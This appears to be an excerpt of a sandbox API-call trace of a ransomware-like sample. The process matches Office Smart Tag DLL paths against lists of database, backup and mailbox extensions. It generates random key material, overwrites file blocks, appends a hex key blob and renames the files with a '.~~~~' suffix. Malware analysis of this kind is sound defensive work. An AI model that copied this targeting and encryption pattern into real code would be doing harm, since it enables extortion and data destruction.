	[0082.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".FDB") returned 0x0
	[0082.225] lstrlenW (lpString=".EDB") returned 4
	[0082.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".EDB") returned 0x0
	[0082.225] lstrlenW (lpString=".DACPAC") returned 7
	[0082.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".DACPAC") returned 0x0
	[0082.225] lstrlenW (lpString=".VHD") returned 4
	[0082.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".VHD") returned 0x0
	[0082.225] lstrlenW (lpString=".DBV") returned 4
	[0082.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".DBV") returned 0x0
	[0082.225] lstrlenW (lpString=".dacpac") returned 7
	[0082.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".dacpac") returned 0x0
	[0082.225] lstrlenW (lpString=".sdf") returned 4
	[0082.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".sdf") returned 0x0
	[0082.225] lstrlenW (lpString=".accdb") returned 6
	[0082.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".accdb") returned 0x0
	[0082.225] lstrlenW (lpString=".DBX") returned 4
	[0082.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".DBX") returned 0x0
	[0082.225] lstrlenW (lpString=".MDT") returned 4
	[0082.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".MDT") returned 0x0
	[0082.225] lstrlenW (lpString=".SQB") returned 4
	[0082.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".SQB") returned 0x0
	[0082.226] lstrlenW (lpString=".vhd") returned 4
	[0082.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".vhd") returned 0x0
	[0082.226] lstrlenW (lpString=".bac") returned 4
	[0082.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".bac") returned 0x0
	[0082.226] lstrlenW (lpString=".mdf") returned 4
	[0082.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".mdf") returned 0x0
	[0082.226] lstrlenW (lpString=".BAK") returned 4
	[0082.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".BAK") returned 0x0
	[0082.226] lstrlenW (lpString=".BAC") returned 4
	[0082.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".BAC") returned 0x0
	[0082.226] lstrlenW (lpString=".dbs") returned 4
	[0082.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".dbs") returned 0x0
	[0082.226] lstrlenW (lpString=".vhdx") returned 5
	[0082.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".vhdx") returned 0x0
	[0082.226] lstrlenW (lpString=".NDF") returned 4
	[0082.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".NDF") returned 0x0
	[0082.226] lstrlenW (lpString=".dat") returned 4
	[0082.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".dat") returned 0x0
	[0082.226] lstrlenW (lpString=".DBS") returned 4
	[0082.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".DBS") returned 0x0
	[0082.226] lstrlenW (lpString=".CKP") returned 4
	[0082.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".CKP") returned 0x0
	[0082.226] lstrlenW (lpString=".edb") returned 4
	[0082.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".edb") returned 0x0
	[0082.226] lstrlenW (lpString=".PST") returned 4
	[0082.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".PST") returned 0x0
	[0082.226] lstrlenW (lpString=".dbf") returned 4
	[0082.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".dbf") returned 0x0
	[0082.227] lstrlenW (lpString=".SQL") returned 4
	[0082.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".SQL") returned 0x0
	[0082.227] lstrlenW (lpString=".pst") returned 4
	[0082.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".pst") returned 0x0
	[0082.227] lstrlenW (lpString=".dbv") returned 4
	[0082.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".dbv") returned 0x0
	[0082.227] lstrlenW (lpString=".SDF") returned 4
	[0082.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".SDF") returned 0x0
	[0082.227] lstrlenW (lpString=".dtxs") returned 5
	[0082.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".dtxs") returned 0x0
	[0082.227] lstrlenW (lpString=".db3") returned 4
	[0082.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".db3") returned 0x0
	[0082.227] lstrlenW (lpString=".OST") returned 4
	[0082.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".OST") returned 0x0
	[0082.227] lstrlenW (lpString=".dbx") returned 4
	[0082.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".dbx") returned 0x0
	[0082.227] lstrlenW (lpString=".DB3") returned 4
	[0082.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".DB3") returned 0x0
	[0082.227] lstrlenW (lpString=".DAT") returned 4
	[0082.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".DAT") returned 0x0
	[0082.227] lstrlenW (lpString=".VHDX") returned 5
	[0082.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".VHDX") returned 0x0
	[0082.227] lstrlenW (lpString=".ndf") returned 4
	[0082.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".ndf") returned 0x0
	[0082.227] lstrlenW (lpString=".DB") returned 3
	[0082.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".DB") returned 0x0
	[0082.227] lstrlenW (lpString=".sql") returned 4
	[0082.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".sql") returned 0x0
	[0082.228] lstrlenW (lpString=".MYD") returned 4
	[0082.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".MYD") returned 0x0
	[0082.228] lstrlenW (lpString=".DBT") returned 4
	[0082.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".DBT") returned 0x0
	[0082.228] lstrlenW (lpString=".ACCDB") returned 6
	[0082.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".ACCDB") returned 0x0
	[0082.228] lstrlenW (lpString=".fdb") returned 4
	[0082.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".fdb") returned 0x0
	[0082.228] lstrlenW (lpString=".bak") returned 4
	[0082.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".bak") returned 0x0
	[0082.228] lstrlenW (lpString=".myd") returned 4
	[0082.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".myd") returned 0x0
	[0082.228] lstrlenW (lpString=".DTXS") returned 5
	[0082.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".DTXS") returned 0x0
	[0082.228] lstrlenW (lpString=".ckp") returned 4
	[0082.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".ckp") returned 0x0
	[0082.228] lstrlenW (lpString=".dbt") returned 4
	[0082.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".dbt") returned 0x0
	[0082.228] lstrlenW (lpString=".db") returned 3
	[0082.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".db") returned 0x0
	[0082.228] lstrlenW (lpString=".TXT") returned 4
	[0082.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".TXT") returned 0x0
	[0082.228] lstrlenW (lpString=".MDF") returned 4
	[0082.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".MDF") returned 0x0
	[0082.228] lstrlenW (lpString=".bdb") returned 4
	[0082.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".bdb") returned 0x0
	[0082.229] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0082.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.229] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0082.230] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.230] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0082.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x38b738
	[0082.230] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20222018912) returned 1
	[0082.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9adaab30, dwHighDateTime=0x1d60e1e)) 
	[0082.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0082.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0082.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0082.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3648
	[0082.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3648 | out: hHeap=0x300000) returned 1
	[0082.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0082.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8300
	[0082.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0082.231] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0082.231] GetLastError () returned 0x0
	[0082.231] GetLastError () returned 0x0
	[0082.231] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0082.231] GetLastError () returned 0x0
	[0082.232] GetLastError () returned 0x0
	[0082.233] ReadFile (in: hFile=0x124, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.238] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.238] WriteFile (in: hFile=0x124, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0082.242] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.242] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.242] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.242] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.242] CloseHandle (hObject=0x124) returned 1
	[0082.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0082.243] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll.~~~~")) returned 1
	[0082.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0082.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0082.244] GetLastError () returned 0x0
	[0082.244] RtlWakeConditionVariable () returned 0x365f70
	[0082.244] GetCurrentThreadId () returned 0xaf0
	[0082.244] GetCurrentThreadId () returned 0xaf0
	[0082.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7428 | out: hHeap=0x300000) returned 1
	[0082.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3610 | out: hHeap=0x300000) returned 1
	[0082.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7428
	[0082.244] lstrlenW (lpString=".scr") returned 4
	[0082.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".scr") returned 0x0
	[0082.244] lstrlenW (lpString=".cmd") returned 4
	[0082.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".cmd") returned 0x0
	[0082.245] lstrlenW (lpString=".dll") returned 4
	[0082.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".dll") returned 0x0
	[0082.245] lstrlenW (lpString=".bat") returned 4
	[0082.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".bat") returned 0x0
	[0082.245] lstrlenW (lpString=".cpl") returned 4
	[0082.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".cpl") returned 0x0
	[0082.245] lstrlenW (lpString=".sys") returned 4
	[0082.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".sys") returned 0x0
	[0082.245] lstrlenW (lpString=".msc") returned 4
	[0082.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".msc") returned 0x0
	[0082.245] lstrlenW (lpString=".com") returned 4
	[0082.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".com") returned 0x0
	[0082.245] lstrlenW (lpString=".lnk") returned 4
	[0082.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".lnk") returned 0x0
	[0082.245] lstrlenW (lpString=".msp") returned 4
	[0082.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".msp") returned 0x0
	[0082.245] lstrlenW (lpString=".pif") returned 4
	[0082.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".pif") returned 0x0
	[0082.245] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0082.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0082.247] lstrlenW (lpString=".sqb") returned 4
	[0082.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".sqb") returned 0x0
	[0082.247] lstrlenW (lpString=".ost") returned 4
	[0082.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".ost") returned 0x0
	[0082.247] lstrlenW (lpString=".txt") returned 4
	[0082.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".txt") returned 0x0
	[0082.248] lstrlenW (lpString=".mdt") returned 4
	[0082.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".mdt") returned 0x0
	[0082.248] lstrlenW (lpString=".BDB") returned 4
	[0082.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".BDB") returned 0x0
	[0082.248] lstrlenW (lpString=".eql") returned 4
	[0082.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".eql") returned 0x0
	[0082.248] lstrlenW (lpString=".DBF") returned 4
	[0082.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".DBF") returned 0x0
	[0082.248] lstrlenW (lpString=".EQL") returned 4
	[0082.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".EQL") returned 0x0
	[0082.248] lstrlenW (lpString=".FDB") returned 4
	[0082.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".FDB") returned 0x0
	[0082.248] lstrlenW (lpString=".EDB") returned 4
	[0082.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".EDB") returned 0x0
	[0082.248] lstrlenW (lpString=".DACPAC") returned 7
	[0082.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".DACPAC") returned 0x0
	[0082.248] lstrlenW (lpString=".VHD") returned 4
	[0082.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".VHD") returned 0x0
	[0082.248] lstrlenW (lpString=".DBV") returned 4
	[0082.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".DBV") returned 0x0
	[0082.248] lstrlenW (lpString=".dacpac") returned 7
	[0082.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".dacpac") returned 0x0
	[0082.248] lstrlenW (lpString=".sdf") returned 4
	[0082.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".sdf") returned 0x0
	[0082.248] lstrlenW (lpString=".accdb") returned 6
	[0082.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".accdb") returned 0x0
	[0082.248] lstrlenW (lpString=".DBX") returned 4
	[0082.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".DBX") returned 0x0
	[0082.249] lstrlenW (lpString=".MDT") returned 4
	[0082.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".MDT") returned 0x0
	[0082.249] lstrlenW (lpString=".SQB") returned 4
	[0082.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".SQB") returned 0x0
	[0082.249] lstrlenW (lpString=".vhd") returned 4
	[0082.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".vhd") returned 0x0
	[0082.249] lstrlenW (lpString=".bac") returned 4
	[0082.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".bac") returned 0x0
	[0082.249] lstrlenW (lpString=".mdf") returned 4
	[0082.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".mdf") returned 0x0
	[0082.249] lstrlenW (lpString=".BAK") returned 4
	[0082.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".BAK") returned 0x0
	[0082.249] lstrlenW (lpString=".BAC") returned 4
	[0082.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".BAC") returned 0x0
	[0082.249] lstrlenW (lpString=".dbs") returned 4
	[0082.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".dbs") returned 0x0
	[0082.249] lstrlenW (lpString=".vhdx") returned 5
	[0082.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".vhdx") returned 0x0
	[0082.249] lstrlenW (lpString=".NDF") returned 4
	[0082.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".NDF") returned 0x0
	[0082.249] lstrlenW (lpString=".dat") returned 4
	[0082.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".dat") returned 0x0
	[0082.249] lstrlenW (lpString=".DBS") returned 4
	[0082.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".DBS") returned 0x0
	[0082.249] lstrlenW (lpString=".CKP") returned 4
	[0082.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL", lpSrch=".CKP") returned 0x0
	[0082.250] lstrlenW (lpString=".edb") returned 4
